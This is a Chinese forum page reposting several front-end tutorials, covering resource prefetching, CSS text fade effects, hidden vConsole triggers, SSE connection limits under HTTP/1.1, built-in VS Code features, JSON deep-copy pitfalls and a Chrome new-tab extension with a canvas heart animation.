<link rel="dns-prefetch" href="https://www.google-analytics.com">

复制代码

下面是 react官方文档中的使用：



通俗点来说，dns-prefetch 的作用就是告诉浏览器在给第三方服务器发送请求之前去把指定域名的解析工作给做了，这个优化方法一般会和上面的preconnect一起使用，这些都是性能优化的一些手段，我们也可以在自己项目中合适的地方来使用


prefetch



关键字 prefetch 作为元素 的属性 rel 的值，是为了提示浏览器，用户未来的浏览有可能需要加载目标资源，所以浏览器会事先获取和缓存对应资源，优化用户体验 ——MDN



上面的解释已经很通俗易懂了，就是告诉浏览器用户未来可能需要这些资源，这样浏览器可以提前获取这些资源，等到用户真正需要使用这些资源的时候一般都已经加载好了，内容展示就会十分的流畅


用法示例：


<link rel="prefetch" href="/page-data/docs/getting-started.html/page-data.json" crossorigin="anonymous" as="fetch">

复制代码

可以看到 react文档在项目中大量使用到了 prefetch来优化项目



那么我们在什么情况下使用 prefetch才比较合适呢？


像 react文档一样，当你的页面中具有可能跳转到其他页面的路由链接时，就可以使用prefetch 预请求对应页面的资源了


但如果一个页面中这样的路由链接很多呢？那岂不是要大量的发送网络请求，虽然现在流量很便宜，但你也不能那么玩啊！（doge）


React 当然考虑到了这个问题，因为在它的文档中包含有大量的路由链接，不可能全部都发一遍请求，这样反而不利于性能优化，那react是怎么做的呢？


通过监听 Link元素，当其出现到可见区域时动态插入带有prefetch属性值的link标签到HTML文档中，从而去预加载对应路由页面的一些资源，这样当用户点击路由链接跳转过去时由于资源已经请求好所以页面加载会特别快


举个例子，还没有点击下图中划红线的目录时，由于其子目录没有暴露到视图窗口中，所以页面中并没有对应的标签，而当点击了该目录后，其子目录就会展示在视图窗口中，react会自动将暴露出来的路由所对应的数据通过prefetch提前请求过来，这样当用户点击某个子目录的时候，由于已经有了对应的数据，直接获取内容进行展示即可。用这样的方法，我们感受到的速度能不快吗？



下面是我们在network查看到的结果



补充



  1. react官网其实并不完全是由react这个框架进行开发的，能做上述所说的那么多性能优化其实得益于Gatsby这个库


Snipaste_2022-08-08_13-17-23.png



Gatsby 是一个性能很好，开发很自由的，基于 React 和 GraphQL 来构建网站的库。一般用于构建静态网站，比如博客、企业官网等，或者说静态内容相对比较多的网站



它在打包的时候就生成了所有页面对应的 HTML文件以及数据文件等，这样当你访问某个页面时，服务端可以直接返回HTML ，另外一方面当页面中有使用 Link 时，会提前加载这个页面所对应的数据，这样点击跳转后页面加载速度就会很快。所以上文中所说的优化手段，其实是 Gatsby帮助实现的，有兴趣的朋友可以去它的官网了解更多相关知识



  1. 至于这个监听Link元素是怎么实现的呢？


具体实现是使用 Intersection Observer ，相关介绍见 IntersectionObserver API 使用教程 - 阮一峰的网络日志 ，有写到图片懒加载和无限滚动也可以使用这个 API 去实现，只不过现在有个别浏览器还没有支持，所以在兼容性上存在一些阻拦，导致这个 Api现在还没有被普及


参考


本篇文章参考了以下几篇文章并结合上了自己的理解，下面文章个人觉得质量真的很高，大家也可以去看看。另外大家在文章中如果发现问题可以在评论区中指出，大家共同进步~


github.com/findxc/blog…


github.com/findxc/blog…


作者：Running53
链接：https://juejin.cn/post/7128369638794231839
来源：稀土掘金
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
收起阅读 »
上帝之眼 发表于 : 2022-08-09 20:33 评论 (0) 分享

多行文本下的文字渐隐消失术

web
本文将探讨一下，在多行文本情形下的一些有意思的文字动效。多行文本，相对于单行文本，场景会复杂一些，但是在实际业务中，多行文本也是非常之多的，但是其效果处理比起单行文本会更困难。单行与多行文本的渐隐首先，我们来看这样一个例子，我们要实现这样一个单行文本的渐隐：使...
继续阅读 »

本文将探讨一下，在多行文本情形下的一些有意思的文字动效。

多行文本，相对于单行文本，场景会复杂一些，但是在实际业务中，多行文本也是非常之多的，但是其效果处理比起单行文本会更困难。

单行与多行文本的渐隐

首先，我们来看这样一个例子，我们要实现这样一个单行文本的渐隐：


使用 mask，可以轻松实现这样的效果，只需要：

<p>Lorem ipsum dolor sit amet consectetur.</p>
p {
    mask: linear-gradient(90deg, #fff, transparent);
}

但是，如果，场景变成了多行呢？我们需要将多行文本最后一行，实现渐隐消失，并且适配不同的多行场景：


这个就会稍微复杂一点点，但是也是有多种方式可以实现的。

首先我们来看一下使用 background 的方式。

使用 background 实现

这里会运用到一个技巧，就是 display: inline 内联元素的 background 展现形式与 display: block 块级元素（或者 inline-block、flex、grid）不一致。

简单看个例子：

<p>Lorem .....</p>
<a>Lorem .....</a>

这里需要注意，<p> 元素是块级元素，而 <a> 是内联元素。

我们给它们统一添加上一个从绿色到蓝色的渐变背景色：

p, a {
  background: linear-gradient(90deg, blue, green);
}

看看效果：


什么意思呢？区别很明显，块级元素的背景整体是一个渐变整体，而内联元素的每一行都是会有不一样的效果，整体连起来串联成一个整体。

基于这个特性，我们可以构造这样一种布局：

<p><a>Mollitia nostrum placeat consequatur deserunt velit ducimus possimus commodi temporibus debitis quam</a></p>
p {
    position: relative;
    width: 400px;
}

a {
    background: linear-gradient(90deg, transparent, transparent 70%, #fff);
    background-repeat: no-repeat;
    cursor: pointer;
    color: transparent;
    
    &::before {
        content: "Mollitia nostrum placeat consequatur deserunt velit ducimus possimus commodi temporibus debitis quam";
        position: absolute;
        top: 0;
        left: 0;
        color: #000;
        z-index: -1;
    }
}

这里需要解释一下：

  1. 为了利用到实际的内联元素的 background 的特性，我们需要将实际的文本包裹在内联元素 <a> 内

  2. 实际的文本，利用了 opacity: 0 进行隐藏，实际展示的文本使用了 <a> 元素的伪元素，并且将它的层级设置为 -1，目的是让父元素的背景可以盖过它

  3. <a> 元素的渐变为从透明到白色，利用它去遮住下面的实际用伪元素展示的文字，实现文字的渐隐

这样，我们就能得到这样一种效果：


这里，<a> 元素的渐变为从透明到白色，利用后面的白色逐渐遮住文字。

如果我将渐变改为从黑色到白色（为了方便理解，渐变的黑色和白色都带上了一些透明），你能很快的明白这是怎么回事：

a {
    background: linear-gradient(90deg, rgba(0,0,0, .8), rgba(0,0,0, .9) 70%, rgba(255, 255, 255, .9));
}


完整的代码，你可以戳这里：CodePen Demo -- Text fades away[1]

当然，这个方案有很多问题，譬如利用了 z-index: -1，如果父容器设置了背景色，则会失效，同时不容易准确定位最后一行。因此，更好的方式是使用 mask 来解决。

使用 mask 实现

那么，如果使用 mask 的话，问题，就会变得简单一些，我们只需要在一个 mask 中，实现两块 mask 区域，一块用于准确控制最后一行，一块用于控制剩余部分的透明。

也不需要特殊构造 HTML：

<p>Lorem ipsum dolor sit amet ....</p>
p {
    width: 300px;
    padding: 10px;
    line-height: 36px;
    mask: 
        linear-gradient(270deg, transparent, transparent 30%, #000),
        linear-gradient(270deg, #000, #000);
    mask-size: 100% 46px, 100% calc(100% - 46px);
    mask-position: bottom, top;
    mask-repeat: no-repeat;
}

效果如下：


核心在于整个 mask 相关的代码，正如上面而言的，mask 将整个区域分成了两块进行控制：


在下部分这块，我们利用 mask 做了从右向左的渐隐效果。并且利用了 mask-position 定位，以及 calc 的计算，无论文本都多少行，都是适用的！需要说明的是，这里的 46px 的意思是单行文本的行高加上 padding-bottom 的距离。可以适配任意行数的文本：


完整的代码，你可以戳这里：CodePen Demo -- Text fades away 2[2]

添加动画效果

好，看完静态的，我们再来实现一种**动态的文字渐隐消失。

整体的效果是当鼠标 Hover 到文字的时候，整个文本逐行逐渐消失。像是这样：

图片

这里的核心在于，需要去适配不同的行数，不同的宽度，而且文字是一行一行的进行消失。

这里核心还是会运用上内联元素 background 的特性。在 妙用 background 实现花式文字效果[3] 这篇文章中，我们介绍了这样一种技巧。

实现整段文字的渐现，从一种颜色到另外一种颜色：

<div>Button</div>
<p><a>Lorem ipsum dolor sit amet consectetur adipisicing elit. Mollitia nostrum placeat consequatur deserunt velit ducimus possimus commodi temporibus debitis quam, molestiae laboriosam sit repellendus sed sapiente quidem quod accusantium vero.</a></p>
a {    
    background: 
        linear-gradient(90deg, #999, #999),
        linear-gradient(90deg, #fc0, #fc0);
    background-size: 100% 100%, 0 100px;
    background-repeat: no-repeat;
    background-position: 100% 100%, 0 100%;
    color: transparent;
    background-clip: text;
}
.button:hover ~ p a {
    transition: .8s all linear;
    background-size: 0 100px, 100% 100%;
}

这里需要解释一下，虽然设置了 color: transparent，但是文字默认还是有颜色的，默认的文字颜色，是由第一层渐变赋予的 background: linear-gradient(90deg, #999, #999), linear-gradient(90deg, #fc0, #fc0)，也就是这一层：linear-gradient(90deg, #999, #999)。

图片

当 hover 触发时，linear-gradient(90deg, #999, #999) 这一层渐变逐渐消失，而另外一层 linear-gradient(90deg, #fc0, #fc0)` 逐渐出现，借此实现上述效果。

CodePen -- background-clip 文字渐现效果[4]

好，我们可以借鉴这个技巧，去实现文字的渐隐消失。一层为实际的文本，而另外一层是进行动画的遮罩，进行动画的这一层，本身的文字设置为 color: transparent，这样，我们就只能看到背景颜色的变化。

大致的代码如下：

<p>
    <a>Mollitia nostrum placeat consequatur deserunt.</a>
    <a>Mollitia nostrum placeat consequatur deserunt.</a>
</p>
p {
    width: 500px;
}
.word {
    position: absolute;
    top: 0;
    left: 0;
    color: transparent;
    color: #000;
}
.pesudo {    
    position: relative;
    background: linear-gradient(90deg, transparent, #fff 20%, #fff);
    background-size: 0 100%;
    background-repeat: no-repeat;
    background-position: 100% 100%;
    transition: all 3s linear;
    color: transparent;
}
p:hover .pesudo,
p:active .pesudo{
    background-size: 500% 100%;
}

其中，.word 为实际在底部，展示的文字层，而 pesudo 为叠在上方的背景层，hover 的时候，触发上方元素的背景变化，逐渐遮挡住下方的文字，并且，能适用于不同长度的文本。

图片

当然，上述方案会有一点瑕疵，我们无法让不同长度的文本整体的动画时间一致。当文案数量相差不大时，整体可以接受，文案相差数量较大时，需要分别设定下 transition-duration 的时长。

完整的 DEMO，你可以戳：CodePen -- Text fades away Animation[5]

最后

好了，本文到此结束，希望对你有帮助 :)

如果还有什么疑问或者建议，可以多多交流，原创文章，文笔有限，才疏学浅，文中若有不正之处，万望告知。

参考资料

[1]CodePen Demo -- Text fades away: https://codepen.io/Chokcoco/pen/xxWPZmz

[2]CodePen Demo -- Text fades away 2: https://codepen.io/Chokcoco/pen/MWVvoyW

[3]妙用 background 实现花式文字效果: https://github.com/chokcoco/iCSS/issues/138

[4]CodePen -- background-clip 文字渐现效果: https://codepen.io/Chokcoco/pen/XWgpyqz

[5]CodePen -- Text fades away Animation: https://codepen.io/Chokcoco/pen/wvmqqWa

[6]Github -- iCSS: https://github.com/chokcoco/iCSS

来源：mp.weixin.qq.com/s/qADnUx3G2tKyMT7iv6qFwg


收起阅读 »
上帝之眼 发表于 : 2022-08-07 23:11 评论 (0) 分享

巧用摩斯密码作为调试工具的入口｜vConsole 在线上的2种使用方式

web
前言在做手机端项目的时候，我们经常在测试环境使用 vConsole 作为调试工具，它大概可以做这么多事情：查看 console 日志查看网络请求查看页面 element 结构查看 Cookies、localStorage 和 SessionStorage手动执...
继续阅读 »

前言

在做手机端项目的时候，我们经常在测试环境使用 vConsole 作为调试工具，它大概可以做这么多事情：

  • 查看 console 日志

  • 查看网络请求

  • 查看页面 element 结构

  • 查看 Cookies、localStorage 和 SessionStorage

  • 手动执行 JS 命令

  • 自定义插件

除了开发人员，vConsole 对于，测试人员也很有用，测试 bug 的时候，如果测试人员能拿到 console 信息和网络请求，无疑对于帮助开发快速定位问题是很有帮助的。

那问题来了，这么好用的工具，貌似大家都是在测试环境使用的，线上就没有引入，是不想让这个大大的调试按钮影响用户的使用体验么？这个理由显然站不住脚啊，谁能保证线上不出问题呢，如果线上可以用 vConsole，也许就能帮助我们快速定位问题，鉴于此，我给大家提供 2 种比较好的方式来解决这个问题。

速点触发

防抖：在事件被触发n秒后再执行回调，如果在这n秒内又被触发，则重新计时

这种方法的原理是利用了 函数防抖的概念，我们设置每次 600 ms 的间隔，在此间隔内的重复点击将计数总和，当达到 10或者10的倍数时，启用 vconsole 显示状态的改变；

若某次点击间隔超过 600 ms,则计数归零，从新开始；

实现代码如下：

import VConsole from "vconsole";

function handleVconsole() {
  new VConsole()
  let count = 0
  let lastClickTime = 0
  const VconsoleDom = document.getElementById("__vconsole")
  VconsoleDom.style.display = "none"

  window.addEventListener("click", function () {
    console.log(`连续点击数：${count}`)
    const nowTime = new Date().getTime()
    nowTime - lastClickTime < 600 ? count++ : (count = 0);
    lastClickTime = nowTime

    if (count > 0 && count % 10 === 0) {
      if (!VconsoleDom) return false
      const currentStatus = VconsoleDom.style.display
      VconsoleDom.style.display = currentStatus === "block" ? "none" : "block";
      count = 0
    }
  });
}

实际效果


使用摩斯密码

摩尔斯电码（英語：Morse code）是一种时通时断的信号代码，通过不同的排列顺序来表达不同的英文字母、数字和标点符号。是由美國發明家萨缪尔·摩尔斯及其助手艾爾菲德·維爾在1836年发明。--维基百科

第一种方法虽然好用，不过貌似太简单了，可能会误触，有没有一种可以通过 click 模拟实现的复杂指令呢？没错，我想到了摩斯密码； 简单来说，我们可以通过两种「符号」用来表示字符：点（·）和划（-），或叫「滴」（dit）和「嗒」（dah），下面是常见字符、数字、标点符号的摩斯密码公式标识：


假设，我们用 SOS 这个单词来表示 vconsole 启用的指令，那么通过查询其标识映射表，可以得出 SOS 的 摩斯密码表示为 ...---...，只要执行这个指令我么就改变 vconsole 按钮的显示状态就好了；那么问题又来了，怎么表示点（·）和划（-）呢，本来我想还是用点击间隔的长短来表示，比如 600ms 内属于短间隔，表示点（·）,600ms - 2000ms 内属于长间隔，表示划（-）；

但是实现后发现效果不太好，实际操作这个间隔不太好控制，容易输错; 后来我想到可以了双击 dblclick 事件，我们用 click 表示点（·），dblclick表示划（-），让我们实现下看看。

function handleVconsole() {
  new VConsole();
  let sos = [];
  let lastClickTime = 0;
  let timeId;
  const VconsoleDom = document.getElementById("__vconsole");
  VconsoleDom.style.display = "none";

  window.addEventListener("click", function () {
    clearTimeout(timeId);
    const nowTime = new Date().getTime();
    const interval = nowTime - lastClickTime;
    timeId = setTimeout(() => {
      console.log("click");
      
      if (interval < 3000) {
        sos.push(".");
      }

      if (interval > 3000) {
        sos = [];
        lastClickTime = 0;
      }

      console.log(sos);
      lastClickTime = nowTime;

      if (sos.join("") === "...---...") {
        if (!VconsoleDom) return;
        const currentStatus = VconsoleDom.style.display;
        VconsoleDom.style.display =
          currentStatus === "block" ? "none" : "block";
        sos = [];
      }
    }, 300);
  });

  window.addEventListener("dblclick", function () {
    console.log("dbclick");
    clearTimeout(timeId);
    const nowTime = new Date().getTime();
    const interval = nowTime - lastClickTime;

    if (interval < 3000) {
      sos.push("-");
    }

    if (interval > 3000) {
      sos = [];
      lastClickTime = 0;
    }

    console.log(sos);
    lastClickTime = nowTime;

    if (sos.join("") === "...---...") {
      if (!VconsoleDom) return;
      const currentStatus = VconsoleDom.style.display;
      VconsoleDom.style.display = currentStatus === "block" ? "none" : "block";
      sos = [];
    }
  });
}

实际效果如下所示，感觉还不错，除了 SOS, 还可以用其他的单词或者数字什么的，这就大大增加了误触的难度，实现了完全的定制化。


总结

本文针对移动端线上调试问题，提出了 2 种解决方案，特别是通过摩斯密码这种方式，据我所知，实为首创，如果各位觉得有帮助和启发，请不要吝啬给个一件三连哦，这次一定～～～。

作者：Ethan_Zhou
来源：juejin.cn/post/7126434333442703367

收起阅读 »
上帝之眼 发表于 : 2022-08-01 08:55 评论 (0) 分享

作为一名前端工程师，我浪费了时间学习了这些技术

IT大前端
作为一名前端工程师我浪费时间学习了这些技术 不要犯我曾经犯过的错误！ 我2015年刚刚开始学习前端开发的时候，我在文档和在线教程上了解到了许多技术，我浪费大量时间去学习这些技术。 在一个技术、库和框架数量不断增长的行业中，高效地学习才是关键。不管你是新的Web...
继续阅读 »

作为一名前端工程师我浪费时间学习了这些技术


不要犯我曾经犯过的错误！


我2015年刚刚开始学习前端开发的时候，我在文档和在线教程上了解到了许多技术，我浪费大量时间去学习这些技术。


在一个技术、库和框架数量不断增长的行业中，高效地学习才是关键。不管你是新的Web开发人员，还是你已经入门前端并有了一些开发经验，都可以了解一下，以下列出的技术，要么是我花费时间学习但从未在我的职业生涯中实际使用过的，要么是2021年不再重要的事情(也就是说，你可以不知道)。



Ruby / Ruby-on-rails


Ruby-on-Rails在本世纪早期非常流行。我花了几个月的时间尝试用Ruby-on-Rails构建应用程序。虽然一些大型科技公司的代码库中仍然会有一些Rails代码，但近年来我很少遇到使用Rails代码的公司。事实上，在我六年的职业生涯中，我一次也没有使用过Rails。更重要的是，我不想这么做。


AngularJS


不要把AngularJS和Angular混淆。AngularJS从版本2开始就被Angular取代了。不要因为这个原因而浪费时间学习AngularJS，你会发现现在很少有公司在使用它。


jQuery


jQuery仍然是最流行的JavaScript库，但这是一个技术上的历史遗留问题，而非真的很流行(只是很多10-15年前的老网站仍然使用它)。近年来，许多大型科技公司的代码都不再使用jQuery，而是使用常规的JavaScript。jQuery过去提供的许多好处已经不像以前那么关键了(比如能编写在所有类型的浏览器上都能工作的代码，在浏览器有非常不同的规范的年代，这是一个大的问题)。


Ember


学习Ember的热火很久以前就熄灭了。如果你需要一个JavaScript库，那就去学习React(或者Vue.js)。


React class components


如果你在工作中使用React，你可能仍然会发现一些React类组件。因此，理解它们是如何工作的以及它们的生命周期方法可能仍然是很好的。但如果你正在编写新的React组件，你应该使用带有React hook的功能性组件。


PHP


坦诚的说，PHP并没有那么糟糕。在我的第一份网页开发工作中(和Laravel一起)，我确实需要经常使用它。但是现在，web开发者应该着眼于更有效地学习 Node.js。如果你已经在学习JavaScript，为什么还要在服务器端添加PHP之类的服务器端语言呢？现在你可以在服务器端使用JavaScript了。


Deno


Deno是一家新公司，在未来几年可能会成为一家大公司。然而，不要轻信炒作。现在很少有公司在使用Deno。因此，如果你是Web开发新手，那就继续学习Node.js(又名服务器端JavaScript)。不过，Deno可能是你在未来几年选择学习的东西。


Conclusion


这就是我今天想说的技术。我相信还有很多东西可以添加到技术列表中——请在评论中留下你的想法。我相信对于这里列出的技术也会有一些争论——Ruby开发者更容易破防。你也可以在评论中进行讨论，这些都是宝贵的意见。


链接：https://juejin.cn/post/7086019601372282888

收起阅读 »
马师傅 发表于 : 2022-07-27 19:06 评论 (0) 分享

API 请求慢？这次锅真不在后端

IT大前端
问题 我们在开发过程中，发现后端 API 请求特别慢，于是跟后端抱怨。 “怎么 API 这么慢啊，请求一个接口要十几秒”。 而且这种情况是偶现的，前端开发同学表示有时候会出现，非必现。 但是后端同学通过一顿操作后发现，接口没有问题，他们是通过 postman ...
继续阅读 »

问题


我们在开发过程中，发现后端 API 请求特别慢，于是跟后端抱怨。


“怎么 API 这么慢啊，请求一个接口要十几秒”。


而且这种情况是偶现的，前端开发同学表示有时候会出现，非必现。


但是后端同学通过一顿操作后发现，接口没有问题，他们是通过 postman 工具以及 test 环境尝试，都发现接口请求速度是没有问题的。


“那感觉是前端问题”?


我们来梳理一下问题，如下：



  • 后端 API 请求特别慢，而且是偶现的。

  • 在 test 环境没有复现。

  • postman 工具请求没有复现。


问题解决过程


时间都去哪了？


第一个问题，API 耗费的时间都用来做什么了？


我们打开 Chrome 调试工具。在 network 中可以看到每个接口的耗时。



hover 到你的耗时接口的 Waterful，就可以看到该接口的具体耗时。



可以看到，其耗时主要是在 Stalled，代表浏览器得到要发出这个请求的指令到请求可以发出的等待时间，一般是代理协商、以及等待可复用的 TCP 连接释放的时间，不包括 DNS 查询、建立 TCP 连接等时间等。


所以 API 一直在等待浏览器给它发出去的指令，以上面截图的为例，整整等待了 23.84S，它请求和响应的时间很快（最多也就几百毫秒，也就是后端所说的接口并不慢）。


所以 API 到底在等待浏览器的什么处理？


什么阻塞了请求？


经过定位，我们发现，我们项目中使用 Server-Sent Events（以下简称 SSE）。它跟 WebSocket 一样，都是服务器向浏览器推送信息。但不同的是，它使用的是 HTTP 协议。


当不通过 HTTP / 2 使用时，SSE 会受到最大连接数的限制，限制为 6 次。此限制是针对每个浏览器 + 域的，因此这意味着您可以跨所有选项卡打开 6 个 SSE 连接到 http://www.example1.com，并打开 6 个 SSE 连接到 http://www.example2.com。这一点可以通过以下这个 demo 复现。


复制问题的步骤：



结果是，第 6 次之后，SSE 请求一直无法响应，打开新的标签到同一个地址的时候，浏览器也无法访问。


效果图如下：



该问题在 Chrome 和 Firefox 中被标记为“无法解决”。


至于偶现，是因为前端开发者有时候用 Chrome 会打开了多个选项卡，每个选项卡都是同一个本地开发地址，就会导致达到 SSE 的最大连接数的限制，而它的执行时间会很长，也就会阻塞其他的请求，一致在等待 SSE 执行完。


所以解决的方法是什么？


解决方案


简单粗暴的两个方法



  • 不要打开太多个选项卡。这样就不会达到它的限制数。（因为我们一个选项卡只请求一个 SSE）。

  • 开发环境下，关闭该功能。


使用 HTTP / 2


使用 HTTP / 2 时，HTTP 同一时间内的最大连接数由服务器和客户端之间协商（默认为 100）


这解释了为什么我们 test 环境没有问题，因为 test 环境用的是 HTTP / 2。而在开发环境中，我们使用的是 HTTP 1.1 就会出现这个问题。


那如何在开发环境中使用 HTTP / 2 呢？


我们现在在开发环境，大部分还是使用 webpack-dev-server 起一个本地服务，快速开发应用程序。在文档中，我们找到 server 选项，允许设置服务器和配置项（默认为 'http'）。


只需要加上这一行代码即可。


devServer: {

+  server: 'spdy',

  port: PORT,

}

看看效果，是成功了的。



原理使用 spdy 使用自签名证书通过 HTTP/2 提供服务。需要注意的一点是：



该配置项在 Node 15.0.0 及以上的版本会被忽略，因为 spdy 在这些版本中不会正常工作。一旦 Express 支持 Node 内建 HTTP/2，dev server 会进行迁移。



总结归纳


原本这个问题认为跟前端无关，没想到最后吃瓜吃到自己头上。提升相关技能的知识储备以及思考问题的方式，可能会方便我们定位到此类问题。


充分利用好浏览器的调试工具，对一个问题可以从多个角度出发进行思考。比如一开始，没想到本地也可以开启 HTTP / 2。后来偶然间想搜下是否有此类方案，结果还真有！




链接：https://juejin.cn/post/7119074496610304031

收起阅读 »
马师傅 发表于 : 2022-07-27 19:04 评论 (0) 分享

请不要再下载这些vscode插件了

IT大前端
vscode好多插件都已经内置了，但是还是有很多憨批不知道，还在傻傻的推荐这些插件来坑萌新。 Auto Rename Tag 这个插件是在写html标签的时候可以重命名标签名的，但是现在vscode已经内置了，就不需要再下载这个插件了。只不过默认是关闭的...
继续阅读 »

vscode好多插件都已经内置了，但是还是有很多憨批不知道，还在傻傻的推荐这些插件来坑萌新。



  1. Auto Rename Tag


image.png


这个插件是在写html标签的时候可以重命名标签名的，但是现在vscode已经内置了，就不需要再下载这个插件了。只不过默认是关闭的，需要开启。


点击设置，搜索link，把这个勾选上，就可以左右重命名标签了。


在html和vue中可以自动重命名，而jsx中不行，如果有react开发的，那还是继续装上把。


image.png



  1. Auto Close Tag


image.png
这个插件是用来自动闭合html标签的，但是目前vscode已经内置了这个自动闭合标签的功能了，就不需要再下载了，默认是开启的。



  1. Bracket Pair Colorizer


image.png


这个标签是用来显示多个彩色括号的，但是目前vscode也内置了，所以也不用再下载了，默认是开启的。


如果没有开启，点击设置，搜索Bracket Pair，并勾选上。


image.png



  1. Guides


image.png


这个插件是用来显示代码层级的，但是vscode也已经内置了，默认是关闭的，在上面的配置中，把是否启用括号对指南改成true即可。



  1. CSS Peek


image.png
这个插件只是用于查找html的外部css样式，对于vue、react等文件是不起作用的，并且目前处于失效中。


6.HTML Snippets


image.png
该插件目前已不再维护。


未提到的，欢迎大家补充。



链接：https://juejin.cn/post/7110626790560759845

收起阅读 »
马师傅 发表于 : 2022-07-26 17:57 评论 (0) 分享

千万不要用JSON.stringify()去实现深拷贝！有巨坑！！

Javascript
当对象中有时间类型的元素时候 -----时间类型会被变成字符串类型数据const obj = { date:new Date()}typeof obj.date === 'object' //trueconst objCopy = JSON.parse(...
继续阅读 »

当对象中有时间类型的元素时候 -----时间类型会被变成字符串类型数据

const obj = {
    date:new Date()
}
typeof obj.date === 'object' //true
const objCopy = JSON.parse(JSON.stringify(obj));
typeof objCopy.date === string; //true

然后你就会惊讶的发现，getTime()调不了了，getYearFull()也调不了了。就所有时间类型的内置方法都调不动了。

但，string类型的内置方法全能调了。

当对象中有undefined类型或function类型的数据时 --- undefined和function会直接丢失

const obj = {
        undef: undefined,
        fun: () => { console.log('叽里呱啦，阿巴阿巴') }
    }
    console.log(obj,"obj");
    const objCopy = JSON.parse(JSON.stringify(obj));
    console.log(objCopy,"objCopy")

然后你就会发现，这两种类型的数据都没了。

当对象中有NaN、Infinity和-Infinity这三种值的时候 --- 会变成null

1.7976931348623157E+10308 是浮点数的最大上线 显示为Infinity

-1.7976931348623157E+10308 是浮点数的最小下线 显示为-Infinity

const obj = {
        nan:NaN,
        infinityMax:1.7976931348623157E+10308,
        infinityMin:-1.7976931348623157E+10308,
    }
    console.log(obj, "obj");
    const objCopy = JSON.parse(JSON.stringify(obj));
    console.log(objCopy,"objCopy")

当对象循环引用的时候 --会报错

const obj = {
        objChild:null
    }
    obj.objChild = obj;
    const objCopy = JSON.parse(JSON.stringify(obj));
    console.log(objCopy,"objCopy")

假如你有幸需要拷贝这么一个对象 ↓

const obj = {
    nan:NaN,
    infinityMax:1.7976931348623157E+10308,
    infinityMin:-1.7976931348623157E+10308,
    undef: undefined,
    fun: () => { console.log('叽里呱啦，阿巴阿巴') },
    date:new Date,
}

然后你就会发现，好家伙，没一个正常的。

image.png

你还在使用JSON.stringify()来实现深拷贝吗？

如果还在使用的话，小心了。作者推荐以后深拷贝使用递归的方式进行深拷贝。

原文：https://juejin.cn/post/7113829141392130078

收起阅读 »
马师傅 发表于 : 2022-07-25 23:41 评论 (0) 分享

七夕到了，还不快给你女朋友做一个专属chrome插件

web
前言七夕节马上就要到了，作为拥有对象（没有的话，可以选择 new 一个出来）的程序员来说，肯定是需要有一点表示才行的。用钱能买到的东西不一定能表达咱们的心意，但是用心去写的代码，还能让对象每天看到那才是最正确的选择。除了手机之外，在电脑上使...
继续阅读 »

前言

七夕节马上就要到了，作为拥有对象（没有的话，可以选择 new 一个出来）的程序员来说，肯定是需要有一点表示才行的。用钱能买到的东西不一定能表达咱们的心意，但是用心去写的代码，还能让对象每天看到那才是最正确的选择。

除了手机之外，在电脑上使用浏览器搜索想要的东西是最常用的功能了，所以就需要一个打开即用的搜索框，而且还能表达心意的chrome标签页来让 TA 随时可用。

新建项目

由于我们是做chrome标签页，所以新建的项目不需要任何框架，只需要最简单的HTML、js、css即可。

在任意地方新建一个文件夹chrome

在chrome目录下新建一个manifest.json文件

配置chrome插件

{

    "name": "Every Day About You",

    "description": "Every Day About You",

    "version": "1.0",

    "manifest_version": 2,

    "browser_action": {

        "default_icon": "ex_icon.png"

    },

    "permissions": [

        "activeTab"

    ],

    "content_scripts": [

        {

            "matches": [

                ""

            ],

            "js": [

                "demo.js",

                "canvas.js"

            ],

            "run_at": "document_start"

        }

    ],

    "chrome_url_overrides": {

        "newtab": "demo.html"

    },

    "offline_enabled": true,

}

复制代码
  • name：扩展名称，加载扩展程序时显示的名称。
  • description：描述信息，用于描述当前扩展程序，限132个字符。
  • version：扩展程序版本号。
  • manifest_version：manifest文件版本号。chrome18开始必须为2。
  • browser_action：设置扩展程序的图标。
  • permissions：需要申请的权限，这里使用tab即可。
  • content_scripts：指定在页面中运行的js和css及插入时机。
  • chrome_url_overrides：新标签页打开的html文件。
  • offline_enabled：脱机运行。

还有很多配置项可以在chrome插件开发文档中查询到，这里因为不需要发布到chrome商店中，所以只需要配置一些固定的数据项。

image.png

新建HTML和JS

在配置项中的content_scripts和chrome_url_overrides中分别定义了html文件和js文件，所以我们需要新建这两个文件，名称对应即可。

image.png

HTML背景

没有哪个小天使可以拒绝来自程序猿霸道的满屏小心心好吗？ 接下来我来教大家做一个飘满屏的爱心。

html>

<html>

  <head>

    <meta charset="utf-8">

    <title>Every Day About Youtitle>

    <script src="http://libs.baidu.com/jquery/1.10.2/jquery.min.js">script>

    <script type="text/javascript" src="canvas.js" >script>

  head>

  <body>

    <canvas id="c" style="position: absolute;z-index: -1;text-align: center;">canvas>

  body>

html>

复制代码
  • 这里引入的 jquery 是 百度 的CDN（matches中配置了可以使用所有的URL，所以CDN是可以使用外部链接的。）
  • canvas.js中主要是针对爱心和背景色进行绘画。

canvas

$(document).ready(function () {

  var canvas = document.getElementById("c");

  var ctx = canvas.getContext("2d");

  var c = $("#c");

  var w, h;

  var pi = Math.PI;

  var all_attribute = {

    num: 100, // 个数

    start_probability: 0.1, // 如果数量小于num，有这些几率添加一个新的     		     

    size_min: 1, // 初始爱心大小的最小值

    size_max: 2, // 初始爱心大小的最大值

    size_add_min: 0.3, // 每次变大的最小值（就是速度）

    size_add_max: 0.5, // 每次变大的最大值

    opacity_min: 0.3, // 初始透明度最小值

    opacity_max: 0.5, // 初始透明度最大值

    opacity_prev_min: .003, // 透明度递减值最小值

    opacity_prev_max: .005, // 透明度递减值最大值

    light_min: 0, // 颜色亮度最小值

    light_max: 90, // 颜色亮度最大值

  };

  var style_color = find_random(0, 360);

  var all_element = [];

  window_resize();



  function start() {

    window.requestAnimationFrame(start);

    style_color += 0.1;

    //更改背景色hsl(颜色值，饱和度，明度)

    ctx.fillStyle = 'hsl(' + style_color + ',100%,97%)';

    ctx.fillRect(0, 0, w, h);

    if (all_element.length < all_attribute.num && Math.random() < all_attribute.start_probability) {

      all_element.push(new ready_run);

    }

    all_element.map(function (line) {

      line.to_step();

    })

  }



  function ready_run() {

    this.to_reset();

  }



  function arc_heart(x, y, z, m) {

    //绘制爱心图案的方法，参数x,y是爱心的初始坐标，z是爱心的大小，m是爱心上升的速度

    y -= m * 10;



    ctx.moveTo(x, y);

    z *= 0.05;

    ctx.bezierCurveTo(x, y - 3 * z, x - 5 * z, y - 15 * z, x - 25 * z, y - 15 * z);

    ctx.bezierCurveTo(x - 55 * z, y - 15 * z, x - 55 * z, y + 22.5 * z, x - 55 * z, y + 22.5 * z);

